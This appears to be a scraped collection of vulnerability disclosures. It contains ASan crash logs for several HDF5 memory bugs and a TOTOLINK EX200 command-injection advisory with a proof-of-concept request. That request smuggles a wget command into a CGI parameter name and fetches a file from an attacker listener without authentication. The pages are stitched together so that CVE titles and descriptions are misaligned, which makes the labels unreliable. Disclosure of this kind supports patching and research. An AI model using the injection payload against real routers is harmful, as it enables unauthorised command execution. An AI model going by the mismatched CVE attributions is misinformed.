        [4848, 5104) 'coords' (line 2036)
        [5168, 5424) 'chunk_adjust' (line 2037)
        [5488, 5744) 'mem_sel_start' (line 2140)
        [5808, 6064) 'mem_sel_end' (line 2141)
        [6128, 6392) 'old_offset' (line 1073)
        [6464, 6728) 'coords' (line 1520)
        [6800, 7064) 'sel_start' (line 1521)
        [7136, 7400) 'sel_end' (line 1522)
        [7472, 7736) 'sel_start' (line 1810)
        [7808, 8072) 'sel_end' (line 1811)
        [8144, 8408) 'start_coords' (line 1813)
        [8480, 8744) 'coords' (line 1814) <== Memory access at offset 8472 underflows this variable
        [8816, 9080) 'end' (line 1815)
    HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
          (longjmp and C++ exceptions *are* supported)
    SUMMARY: AddressSanitizer: stack-buffer-overflow /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Dchunk.c:1927 in H5D__create_chunk_file_map_hyper
    Shadow bytes around the buggy address:
      0x10000802f4d0: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000802f4e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000802f4f0: 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00
      0x10000802f500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000802f510: 00 00 00 00 00 00 00 00 00 00 00 00 00 f2 f2 f2
    =>0x10000802f520: f2 f2 f2 f2 f2[f2]00 00 00 00 00 00 00 00 00 00
      0x10000802f530: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000802f540: 00 00 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2
      0x10000802f550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000802f560: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10000802f570: 00 f3 f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==3192859==ABORTING

CVE-2021-45833: stack-buffer-overflow at H5D__create_chunk_file_map_hyper /hdf5/src/H5Dchunk.c:1927 · Issue #1313 · HDFGroup/hdf5

A Stack-based Buffer Overflow Vulnerability exists in HDF5 1.13.1-1 at at hdf5/src/H5Eint.c, which causes a Denial of Service (context-dependent).

    Ubuntu 20.04.1 LTS, gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)
    

    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==223590==ERROR: AddressSanitizer: stack-overflow on address 0x7ffee0f76f70 (pc 0x7fd7a0c52b99 bp 0x7ffee0f777c0 sp 0x7ffee0f76f60 T0)
        #0 0x7fd7a0c52b98 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10db98)
        #1 0x7fd7a088ccbd  (/lib/x86_64-linux-gnu/libc.so.6+0x8ecbd)
        #2 0x55d14d2e76d2 in vasprintf /usr/include/x86_64-linux-gnu/bits/stdio2.h:213
        #3 0x55d14d2e76d2 in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/
        #4 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #5 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #6 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #7 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #8 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #9 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #10 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #11 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #12 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #13 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #14 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #15 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #16 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #17 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #18 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #19 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #20 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #21 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #22 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #23 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #24 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #25 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #26 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #27 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #28 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #29 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #30 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #31 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #32 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #33 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #34 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #35 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #36 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #37 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #38 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #39 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #40 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #41 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #42 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #43 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326
        #44 0x55d14d2e732e in H5E__push_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:766
        #45 0x55d14d2e771c in H5E_printf_stack /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Eint.c:687
        #46 0x55d14d415e08 in H5I_inc_ref /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Iint.c:1326

CVE-2021-45832: stack overflow at hdf5/src/H5Eint.c · Issue #1315 · HDFGroup/hdf5

A heap-based buffer overflow vulnerability exists in HDF5 1.13.1-1 via H5F_addr_decode_len in /hdf5/src/H5Fint.c, which could cause a Denial of Service.

    Ubuntu 20.04.1 LTS, gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)
    

    ==3895624==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6060000053a0 at pc 0x55f43fe64fa1 bp 0x7fff5fa6dc60 sp 0x7fff5fa6dc50
    READ of size 1 at 0x6060000053a0 thread T0
        #0 0x55f43fe64fa0 in H5F_addr_decode_len /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Fint.c:2855
        #1 0x55f43ffd5f01 in H5O__fsinfo_decode /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Ofsinfo.c:186
        #2 0x55f43ffefb74 in H5O_msg_read_oh /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Omessage.c:514
        #3 0x55f43fff033b in H5O_msg_read /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Omessage.c:455
        #4 0x55f43fe7e8d7 in H5F__super_read /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Fsuper.c:782
        #5 0x55f43fe6b6d1 in H5F_open /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Fint.c:1963
        #6 0x55f44029730b in H5VL__native_file_open /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5VLnative_file.c:127
        #7 0x55f44026b72b in H5VL__file_open /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5VLcallback.c:3497
        #8 0x55f44026b72b in H5VL_file_open /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5VLcallback.c:3646
        #9 0x55f43fe46570 in H5F__open_api_common /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5F.c:795
        #10 0x55f43fe4a7eb in H5Fopen /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5F.c:836
        #11 0x55f43fce521b in h5tools_fopen /home/zxq/CVE_testing/source/hdf5-add/hdf5/tools/lib/h5tools.c:932
        #12 0x55f43fcdcafa in main /home/zxq/CVE_testing/source/hdf5-add/hdf5/tools/src/h5format_convert/h5format_convert.c:409
        #13 0x7f67d18450b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
        #14 0x55f43fce03ed in _start (/home/zxq/CVE_testing/source/hdf5-add/hdf5/build/bin/h5format_convert+0x16e3ed)
    
    0x6060000053a0 is located 0 bytes to the right of 64-byte region [0x606000005360,0x6060000053a0)
    allocated by thread T0 here:
        #0 0x7f67d1c72bc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
        #1 0x55f43febb1fe in H5FL__malloc /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5FL.c:238
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Fint.c:2855 in H5F_addr_decode_len
    Shadow bytes around the buggy address:
      0x0c0c7fff8a20: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa
      0x0c0c7fff8a30: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
      0x0c0c7fff8a40: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 00
      0x0c0c7fff8a50: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
      0x0c0c7fff8a60: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
    =>0x0c0c7fff8a70: 00 00 00 00[fa]fa fa fa 00 00 00 00 00 00 00 fa
      0x0c0c7fff8a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c0c7fff8a90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c0c7fff8aa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c0c7fff8ab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c0c7fff8ac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc

CVE-2021-45830: heap-buffer-overflow atH5F_addr_decode_len /hdf5/src/H5Fint.c:2855 · Issue #1314 · HDFGroup/hdf5

The downloadFlile.cgi binary file in TOTOLINK EX200 V4.0.3c.7646_B20201211 has a command injection vulnerability when receiving GET parameters. The parameter name can be constructed for unauthenticated command execution.

Permalink

Cannot retrieve contributors at this time

**ToTolink EX200 Comand Injection****Venda && Firmware\_link**

ToTolink EX200 http://totolink.net/home/menu/detail/menu\_listtpl/download/id/144/ids/36.html

link :http://totolink.net/data/upload/20210428/7979e841521515eb83b45aacf5b67f9a.zip

Firmware\_link :V4.0.3c.7646\_B20201211

**Describe**

​ The downloadFlile.cgi binary file has a command injection vulnerability when receiving GET parameters. The parameter name can be constructed for unauthenticated command execution

![image-20211020110137084](https://github.com/doudoudedi/ToTolink_EX200_Cmmand_Execute/raw/main/img/image-20211020110137084.png)

​ In the downloadFile cgi program, the QUERY\_STRING environment parameter variable is the content of the GET request, so the parameter name can be controlled for command injection

**POC**

    GET /cgi-bin/downloadFlile.cgi?;wget${IFS}http://192.168.0.111:801/mm.txt;=hahah HTTP/1.1
    
    Host: 192.168.0.254
    
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0
    
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    
    Accept-Language: en-US,en;q=0.5
    
    Accept-Encoding: gzip, deflate
    
    Connection: close
    
    Upgrade-Insecure-Requests: 1
    

**TEXT**

​ Listen to port 801 locally, and the browser accesses the following URL

![image-20211020114318773](https://github.com/doudoudedi/ToTolink_EX200_Cmmand_Execute/raw/main/img/image-20211020114318773.png)

​ can see that the wireless extender has successfully connected to the local port 801

![image-20211020114301709](https://github.com/doudoudedi/ToTolink_EX200_Cmmand_Execute/raw/main/img/image-20211020114301709.png)

**Reporting process****2021.10.20 found this vuln****2021.10.22 apply for vender****2021.11.03 fix vuln**

The manufacturer's email indicates that the vulnerability has been fixed, but maybe can't issue an announcement

**2021.11.11 public this vuln****CNVD-2021-85251**

https://www.cnvd.org.cn/flaw/show/CNVD-2021-85251

Tag

#ubuntu